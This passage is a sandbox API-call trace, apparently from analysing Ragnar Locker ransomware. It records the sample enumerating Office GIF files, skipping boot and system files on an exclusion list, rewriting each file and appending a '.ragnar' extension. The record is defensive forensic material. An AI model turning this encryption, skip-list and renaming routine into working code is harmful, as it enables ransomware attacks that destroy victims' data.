nNumberOfBytesToLockHigh=0x0) returned 1 [0099.995] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.995] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.995] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.995] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.995] GetProcessHeap () returned 0x580000 [0099.995] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.995] CloseHandle (hObject=0x10c) returned 1 [0099.995] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF" [0099.995] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF.ragnar_FD7BD9FC" [0099.995] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21337_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21337_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.996] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19b11500, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x19b11500, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21339_.GIF", cAlternateFileName="")) returned 1 [0099.996] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.996] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21339_.GIF" | out: lpString1="BD21339_.GIF") returned="BD21339_.GIF" [0099.996] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF") returned=".GIF" [0099.996] lstrcmpiW (lpString1="BD21339_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.996] lstrcmpiW (lpString1="BD21339_.GIF", lpString2="autorun.inf") returned 1 [0099.996] lstrcmpiW (lpString1="BD21339_.GIF", lpString2="boot.ini") returned -1 [0099.996] lstrcmpiW (lpString1="BD21339_.GIF", lpString2="bootfont.bin") returned -1 [0099.996] lstrcmpiW (lpString1="BD21339_.GIF", lpString2="bootsect.bak") returned -1 [0099.996] lstrcmpiW (lpString1="BD21339_.GIF", lpString2="bootmgr") returned -1 [0099.996] lstrcmpiW (lpString1="BD21339_.GIF", lpString2="bootmgr.efi") returned -1 [0099.996] lstrcmpiW (lpString1="BD21339_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.997] lstrcmpiW (lpString1="BD21339_.GIF", lpString2="desktop.ini") returned -1 [0099.997] lstrcmpiW (lpString1="BD21339_.GIF", lpString2="iconcache.db") returned -1 [0099.997] lstrcmpiW (lpString1="BD21339_.GIF", lpString2="ntldr") returned -1 [0099.997] lstrcmpiW (lpString1="BD21339_.GIF", lpString2="ntuser.dat") returned -1 [0099.997] lstrcmpiW (lpString1="BD21339_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.997] lstrcmpiW (lpString1="BD21339_.GIF", lpString2="ntuser.ini") returned -1 [0099.997] lstrcmpiW (lpString1="BD21339_.GIF", lpString2="thumbs.db") returned -1 [0099.997] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.997] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.997] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.997] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.997] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.997] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.997] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21339_.gif")) returned 0x20 [0099.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21339_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.998] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=108) returned 1 [0099.998] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.998] GetProcessHeap () returned 0x580000 [0099.998] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.998] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.999] VirtualAlloc (lpAddress=0x0, dwSize=0x6c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.999] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.999] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.999] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x6c, lpOverlapped=0x0) returned 1 [0099.999] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.999] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6c, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.999] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x6c, lpOverlapped=0x0) returned 1 [0100.000] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.000] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.000] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.000] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.000] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.000] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.000] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0100.000] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.000] GetProcessHeap () returned 0x580000 [0100.000] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0100.000] CloseHandle (hObject=0x10c) returned 1 [0100.000] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF" [0100.000] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF.ragnar_FD7BD9FC" [0100.000] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21339_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21339_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0100.002] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d01a600, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbce14f00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8d01a600, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x10a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21342_.GIF", cAlternateFileName="")) returned 1 [0100.002] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0100.002] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21342_.GIF" | out: lpString1="BD21342_.GIF") returned="BD21342_.GIF" [0100.002] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF") returned=".GIF" [0100.002] lstrcmpiW (lpString1="BD21342_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0100.002] lstrcmpiW (lpString1="BD21342_.GIF", lpString2="autorun.inf") returned 1 [0100.002] lstrcmpiW (lpString1="BD21342_.GIF", lpString2="boot.ini") returned -1 [0100.002] lstrcmpiW (lpString1="BD21342_.GIF", lpString2="bootfont.bin") returned -1 [0100.002] lstrcmpiW (lpString1="BD21342_.GIF", lpString2="bootsect.bak") returned -1 [0100.002] lstrcmpiW (lpString1="BD21342_.GIF", lpString2="bootmgr") returned -1 [0100.002] lstrcmpiW (lpString1="BD21342_.GIF", lpString2="bootmgr.efi") returned -1 [0100.002] lstrcmpiW (lpString1="BD21342_.GIF", lpString2="bootmgfw.efi") returned -1 [0100.002] lstrcmpiW (lpString1="BD21342_.GIF", lpString2="desktop.ini") returned -1 [0100.002] lstrcmpiW (lpString1="BD21342_.GIF", lpString2="iconcache.db") returned -1 [0100.002] lstrcmpiW (lpString1="BD21342_.GIF", lpString2="ntldr") returned -1 [0100.002] lstrcmpiW (lpString1="BD21342_.GIF", lpString2="ntuser.dat") returned -1 [0100.002] lstrcmpiW (lpString1="BD21342_.GIF", lpString2="ntuser.dat.log") returned -1 [0100.002] lstrcmpiW (lpString1="BD21342_.GIF", lpString2="ntuser.ini") returned -1 [0100.002] lstrcmpiW (lpString1="BD21342_.GIF", lpString2="thumbs.db") returned -1 [0100.002] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0100.002] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0100.002] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0100.002] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0100.002] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0100.002] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0100.002] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0100.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21342_.gif")) returned 0x20 [0100.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21342_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0100.003] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=266) returned 1 [0100.003] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x101, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.003] GetProcessHeap () returned 0x580000 [0100.003] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0100.003] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0100.004] VirtualAlloc (lpAddress=0x0, dwSize=0x10a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0100.008] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.008] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0100.008] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x10a, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x10a, lpOverlapped=0x0) returned 1 [0100.008] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0100.008] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10a, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.008] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x10a, lpOverlapped=0x0) returned 1 [0100.008] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.008] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.008] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x10a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.008] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.008] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.008] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.009] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0100.009] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.009] GetProcessHeap () returned 0x580000 [0100.009] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0100.009] CloseHandle (hObject=0x10c) returned 1 [0100.009] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF" [0100.009] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF.ragnar_FD7BD9FC" [0100.009] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21342_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21342_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0100.010] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d01a600, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbce14f00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8d01a600, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21343_.GIF", cAlternateFileName="")) returned 1 [0100.010] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0100.010] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21343_.GIF" | out: lpString1="BD21343_.GIF") returned="BD21343_.GIF" [0100.010] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF") returned=".GIF" [0100.010] lstrcmpiW (lpString1="BD21343_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0100.010] lstrcmpiW (lpString1="BD21343_.GIF", lpString2="autorun.inf") returned 1 [0100.010] lstrcmpiW (lpString1="BD21343_.GIF", lpString2="boot.ini") returned -1 [0100.010] lstrcmpiW (lpString1="BD21343_.GIF", lpString2="bootfont.bin") returned -1 [0100.010] lstrcmpiW (lpString1="BD21343_.GIF", lpString2="bootsect.bak") returned -1 [0100.010] lstrcmpiW (lpString1="BD21343_.GIF", lpString2="bootmgr") returned -1 [0100.010] lstrcmpiW (lpString1="BD21343_.GIF", lpString2="bootmgr.efi") returned -1 [0100.010] lstrcmpiW (lpString1="BD21343_.GIF", lpString2="bootmgfw.efi") returned -1 [0100.010] lstrcmpiW (lpString1="BD21343_.GIF", lpString2="desktop.ini") returned -1 [0100.010] lstrcmpiW (lpString1="BD21343_.GIF", lpString2="iconcache.db") returned -1 [0100.010] lstrcmpiW (lpString1="BD21343_.GIF", lpString2="ntldr") returned -1 [0100.010] lstrcmpiW (lpString1="BD21343_.GIF", lpString2="ntuser.dat") returned -1 [0100.010] lstrcmpiW (lpString1="BD21343_.GIF", lpString2="ntuser.dat.log") returned -1 [0100.010] lstrcmpiW (lpString1="BD21343_.GIF", lpString2="ntuser.ini") returned -1 [0100.010] lstrcmpiW (lpString1="BD21343_.GIF", lpString2="thumbs.db") returned -1 [0100.010] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0100.010] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0100.010] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0100.010] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0100.010] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0100.010] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0100.010] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0100.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21343_.gif")) returned 0x20 [0100.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21343_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0100.011] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=182) returned 1 [0100.011] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.011] GetProcessHeap () returned 0x580000 [0100.011] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0100.011] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0100.012] VirtualAlloc (lpAddress=0x0, dwSize=0xb6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0100.012] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.012] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0100.012] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb6, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb6, lpOverlapped=0x0) returned 1 [0100.012] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0100.012] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb6, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.012] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb6, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb6, lpOverlapped=0x0) returned 1 [0100.012] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.013] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.013] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.013] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.013] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.013] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: 